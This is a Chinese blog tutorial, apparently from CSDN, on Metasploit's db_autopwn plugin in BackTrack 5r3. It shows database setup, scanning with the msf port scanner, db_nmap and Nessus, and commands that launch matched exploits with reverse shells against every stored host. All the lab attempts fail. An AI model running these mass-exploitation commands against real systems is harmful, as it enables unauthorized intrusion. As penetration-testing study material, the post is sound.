初探Metasploit的自动攻击
来源:互联网 发布:c语言while循环语句 编辑:程序博客网 时间:2024/04/25 19:32
这篇文章来得有点晚,竟然比初探Meterpreter还晚
总之就是见谅了,理论上应该得比它早发出来的
本文很坎坷,因为考研耽误了几天。。
因为生病耽误了几天。。
因为朋友来找我玩耽误了几天。。
事先说明,本文实在BT5r3下实现的
很抱歉,没get shell,不过介绍手法这一目的应该达到了。
==================================================================
1. 科普Metasploit
以前只是个Back Track操作系统(简称:BT) 下的攻击框架,自成继承了后攻击渗透模块,隐隐有成为攻击平台的趋势。
我们都戏称它为美少妇,很简单,msf。
它的强大吧,怎么说了,从前期的信息搜集,到攻击载荷,再到后渗透攻击,都有完善的功能。
唯一的缺点就是,某些exploit,更新比较慢。
让我带你们来初探下这位美少妇吧。
2. 更新Metasploit
4.5版本的:
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]+ -- --=[ 927 exploits - 499 auxiliary - 151 post+ -- --=[ 251 payloads - 28 encoders - 8 nops
4.9版本的:
=[ metasploit v4.9.0-dev [core:4.9 api:1.0]+ -- --=[ 1251 exploits - 682 auxiliary - 201 post+ -- --=[ 326 payloads - 32 encoders - 8 nops
更新步骤:
1. apt-get update——>更新源列表2. cd /opt/metasploit后,删除原先的msf3:rm -rf msf33. git clone --depth=1 git://github.com/rapid7/metasploit-framewok msf3 最后的msf3是我们重新在原来的位置重建msf34. 修改配置文件:32位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/i686-linux/rbconfig.rb64位系统:/opt/metasploit/ruby/lib/ruby/1.9.1/x86_64-linux/rbconfig.rb定位 CONFIG["LIBRUBYARG_STATIC"] = "-W1, -R, W1, $(libdir) -L$(libdir) -1$(RUBY_SO_NAME)-static"后,删掉 -1$(RUBY_SO_NAME)-static部分4. 进入msf3下,运行./msfupdate等待完成即可
注事事项:
1.如果在git那一步,出错,说找不到msf,可能是网络连接不好,本人亲自去github看了下,发现是存在的,后来10分钟后连续敲了相同的命令,clone成功。2.可能会遇到bundle install 的问题,ruby版本不对,没关系,请按照上面的步骤来,就可以了。
3. 开启Metasploit
root@bt:~# cd /opt/metasploit/msf3root@bt:/opt/metasploit/msf3# msfconsole
4. 连接数据库
BT5r3下的msf是需要我们自己去每一次都去连接数据库的。
msf < cat /opt/metasploit/config/database.yml [*] exec: cat /opt/metasploit/config/database.yml ## These settings are for the database used by the Metasploit Framework# unstable tree included in this installer, not the commercial editions.#development: adapter: "postgresql" database: "msf3dev" username: "msf3" password: "4bfedfc2" port: 7337 host: "localhost" pool: 256 timeout: 5production: adapter: "postgresql" database: "msf3dev" username: "msf3" password: "4bfedfc2" port: 7337 host: "localhost" pool: 256 timeout: 5msf > db_connect msf3:4bfedfc2@127.0.0.1:7337/msf3dev msf > creds Credentials===========host port user pass type active?---- ---- ---- ---- ---- -------[*] Found 0 credentials.msf >
creds 是查看数据库的命令。
不过一般都用hosts命令!
如果遇到错误:gem install pg
那么是配置问题,这么修改即可:
那么是配置问题,这么修改即可:
vi /opt/metasploit/msf3/msfconsole change #!/usr/bin/env ruby to #!/opt/metasploit/ruby/bin/ruby in the top of msfconsole.原理是:http://www.fightingman.org/blog/2012/12/04/connect-to-postgresql-via-msfconsole-in-metasploit/#disqus_thread
如果遇到错误:没安装postgresql
deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe # 添加软件源sudo apt-get install postgresqlsudo apt-get install rubygems libpq-devapt-get install libreadline-devapt-get install libssl-devapt-get install libpq5apt-get install ruby-devsudo apt-get install libpq-devsudo gem install pg
如果不会操作数据库:
passwd postgres 修改postgres密码su postgres 进入数据库createuser xxx -P 创建xxx用户(然后输入密码,Y/N一直选择N即可)createdb --owner=user xxx 创建一个XXX数据库psql xxx 进入xxx数据库psql -l 列出数据库dropuser 删除用户dropdb 删除数据库
5. 载入和使用db_autopwn
5.0 载入db_autopwn
db_autopwn是msf以前自带的自动攻击模块,但是新版本被取消了,原因不详。
点此免积分下载
下载后,cp放到:
/opt/metasploit/msf3/plugins/db_autopwn.rb然后进入msf后加载db_autopwn:
load db_autopwn而使用的命令是:
db_autopwn -r -p -t -e参数:
-r 是反向连接,-b是正向监听连接
-p 是更加端口来搞
-p 是更加端口来搞
-t 是显示exp模块
-e 是开搞
因为没有指定IP,所以开搞的对象是hosts数据库的所有IP。
你最好删除所有不需要扫的IP吧,只留一个或几个你要扫的目标。
额,如果想要指定IP来攻击,我们知道有个参数-I,但是如果在高版本的MSF使用它,会出现以下错误:
ERROR: NoMethodError undefined method `range_include?'
很明显,MSF已经抛弃了自动攻击,有些函数如range_inlclude()可能也重写或换名了,找不到很正常,如果要用自动攻击,请放弃该参数:-I。
事实上,本人是不赞同用自动化攻击的,1是动静比扫描要大得多(猜测,毕竟动不动就几百个exp的测试),2是显得太无脑了。
正确的套路:
可以先初步扫描一下确定目标的大概情况。
从OS类型,版本,开放的端口,初步确定一些exp,然后慢慢一个个打上去,这才是搞渗透的嘛。
5.1 msf自带扫描器+db_autopwn
下载:db_autopwn.rb放到~/Desktop下在终端:root@bt:~/Desktop# cp db_autopwn.rb /opt/metasploit/msf3/plugins/在msf: msf > load db_autopwnmsf > db_autopwn -h-h Display this help text-t Show all matching exploit modules-x Select modules based on vulnerability references-p Select modules based on open ports-e Launch exploits against all matched targets-r Use a reverse connect shell-b Use a bind shell on a random port (default)-q Disable exploit module output-R [rank] Only run modules with a minimal rank-I [range] Only exploit hosts inside this range-X [range] Always exclude hosts inside this range-PI [range] Only exploit hosts with these ports open-PX [range] Always exclude hosts with these ports open-m [regex] Only run modules whose name matches the regex-T [secs] Maximum runtime for any exploit in secondsmsf > use auxiliary/scanner/portscan/tcpmsf > show options #看看那还需要设置什么msf > set RHOSTS 192.168.0.113 #113这台机器是win2003,只打了9个补丁,很纯净msf > set THREADS 8 #设置线程数8msf > run #开启端口扫描msf > db_autopwn -t -r -p -e #-r 反弹shell -p 根据ports来搞 -t 显示全部modules -e 开搞
不得不吐槽一下,就这个msf自带扫描器+自动化攻击,连个只打了9个补丁的win2003都拿不下。
经测试,目前只有XPSP1能够拿下(泪啊),如果对方开了win自带的防火墙,自动攻击就不会有任何反应,此时应该Ctrl+C终止。
5.2 db_nmap + db+autopwn
什么是nmap?一款很强大的扫描器,可傻瓜化使用,可以用高级命令。它和msf是好基友,msf集成了nmap,然后叫做db_nmap。
本人总结至此,中断,去总结另一篇博文:初探nmap ,有各个命令的用法和作用,希望可能被当成一个手册去使用。不仅如此,我还转载了一篇nmap实战文:nmap在实战中的高级用法,其实回过头来,发现把命令什么的认知清楚,把重要的命令背下来,自然而然就在实战会用了。所谓的实战高级用法,不过是经验而已。不过总的来说,这篇总结的还算不错。
回归主题,我们先把postgreSQL数据库清空一下:
hosts -d如果-d后面加IP,就只删除IP,如果没指定,就删除所有IP,有的IP删除起来要多费一些时间(1分钟),有的则是几秒的事。
db_nmap开扫:
db_nmap -T Aggressive -n -A -v ip-T Aggressive 指定扫描速度:积极,就是-T4的另一个名字。
-n 不做DNS解析。
-A == (-O 系统类型 )+ (-sV 服务扫描)。
-v 显示详细的过程信息。
这个命令是我最喜欢用的命令了。
msf> hosts -dHosts=====address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------192.168.0.1 34:08:04:0B:70:E8 Unknown device 192.168.0.104 CC:78:5F:84:64:27 Unknown device 192.168.0.105 EC:A8:6B:86:9A:5E Unknown device 192.168.0.108 Unknown device 192.168.0.110 44:37:E6:A0:96:79 Unknown device 192.168.0.112 00:0C:29:A3:56:29 Unknown device [*] Deleted 6 hostsmsf> hostsHosts=====address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------msf> db_nmap -sS -A -T4 192.168.0.112[*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2014-01-08 13:51 CST[*] Nmap: Nmap scan report for 192.168.0.112[*] Nmap: Host is up (0.00047s latency).[*] Nmap: Not shown: 997 closed ports[*] Nmap: PORT STATE SERVICE VERSION[*] Nmap: 135/tcp open msrpc Microsoft Windows RPC[*] Nmap: 139/tcp open netbios-ssn[*] Nmap: 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds[*] Nmap: MAC Address: 00:0C:29:A3:56:29 (VMware)[*] Nmap: Device type: general purpose[*] Nmap: Running: Microsoft Windows XP[*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp[*] Nmap: OS details: Microsoft Windows XP SP2 or SP3[*] Nmap: Network Distance: 1 hop[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows[*] Nmap: Host script results:[*] Nmap: |_nbstat: NetBIOS name: EMASTER-A2C3258, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a3:56:29 (VMware)[*] Nmap: | smb-security-mode:[*] Nmap: | Account that was used for smb scripts: guest[*] Nmap: | User-level authentication[*] Nmap: | SMB Security: Challenge/response passwords supported[*] Nmap: |_ Message signing disabled (dangerous, but default)[*] Nmap: |_smbv2-enabled: Server doesn't support SMBv2 protocol[*] Nmap: | smb-os-discovery:[*] Nmap: | OS: Windows XP (Windows 2000 LAN Manager)[*] Nmap: | Computer name: emaster-a2c3258[*] Nmap: | NetBIOS computer name: EMASTER-A2C3258[*] Nmap: | Workgroup: WORKGROUP[*] Nmap: |_ System time: 2014-01-08 13:51:25 UTC+8[*] Nmap: TRACEROUTE[*] Nmap: HOP RTT ADDRESS[*] Nmap: 1 0.47 ms 192.168.0.112[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.14 secondsmsf> hostsHosts=====address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------192.168.0.112 00:0C:29:A3:56:29 Microsoft Windows XP device msf> db_autopwn -p -t -r -e
-p 根据端口
-t 显示module名
-r 反弹shell
-e 开搞
额,这个依旧是 0 sessions!
XP sp3 都拿不下额。。
不吐槽了,毕竟自动攻击本来就不推荐,而且在强调一次,动作过大!
5.3 Nessus+db_autopwn
Nessus是目前最流行的扫描器之一,功能强大。
因为是三种中最牛逼的一个,所以放到最后讲。
BT5r3下如何安装Nessus?
请看教程:http://www.backtrack.org.cn/thread-13251-1-1.html
#启动nessus服务root@bt:~# /etc/init.d/nessusd start#启动apache服务root@bt:~# /etc/init.d/apache2 start#进入nessus页面通过https://bt:8834或者https://127.0.0.1:8834访问。注意是https。https://localhost:8834是访问不了的。密码:root/toor
nessus的操作:
1、新建一个要扫的内容策略如:basic scan(Policy)2、new scan3、export 结果到1.nessus
msf> hosts -dHosts=====address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------192.168.0.112 00:0C:29:A3:56:29 192.168.0.112 Microsoft Windows XP device [*] Deleted 1 hostsmsf> db_import /root/Desktop/1.nessus [*] Importing 'Nessus XML (v2)' data[*] Importing host 192.168.0.112[*] Successfully imported /root/Desktop/1.nessusmsf> hostsHosts=====address mac name os_name os_flavor os_sp purpose info comments------- --- ---- ------- --------- ----- ------- ---- --------192.168.0.112 00:0C:29:A3:56:29 192.168.0.112 EMC CLARiiON AX150SCi SAN Disk Array device msf> db_autopwn -p -r -t -e
好吧,这么强大的扫描器和这么强大的利用平台,结合在一起,是0 sessions,只能证明我太傻比了,还不会灵活应用。
但是攻击手法应该就是这样子了。
本次的自动攻击就到这,再次强调,用自动攻击都是战五渣,真正的手法的都是自己找弱点,然后寻找合适的exp,然后exploit。
本文就是科普下自动攻击的手法,用来搞搞XPsp1还是没问题的。
emaster,关注信息安全的胖子
欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17676927
2 0
- 初探Metasploit的自动攻击
- 初探Metasploit的自动攻击
- metasploit 自动攻击
- metasploit 攻击成功的实例
- metasploit的令牌假冒攻击
- metasploit的WEB攻击向量
- metasploit的客户端WEB攻击
- Metasploit 攻击
- Metasploit攻击Oracle的环境搭建
- 初探BackTrack5R3里的Metasploit的改变
- Metasploit 攻击winXP
- 实现一个Web版的类Metasploit的攻击框架
- Kali下beEF关联metasploit的攻击模块
- Kali下beEF关联metasploit的攻击模块
- Kali下beEF关联metasploit的攻击模块
- 缓冲区溢出攻击框架Metasploit
- 利用Metasploit来攻击Mysql
- metasploit-学习3---自动运行metasploit
- 程序分析工具gprof介绍
- php 邮件发送
- mvn工程导入myeclipse中
- 【rfc3605】 Real Time Control Protocol (RTCP) attribute in Session Description Protoco
- (android.R.layout)多种模板
- 初探Metasploit的自动攻击
- 給控件增加屬性
- Xcode5下调试与解析CrashReport日志
- HttpWebResponse发送post请求并接收
- JS正则表达式验证数字
- "壹"始
- 好消息!传智播客武汉分校校址已确定!!!
- 编译时类型检查与运行时类型检查
- Hbase访问方式之Java API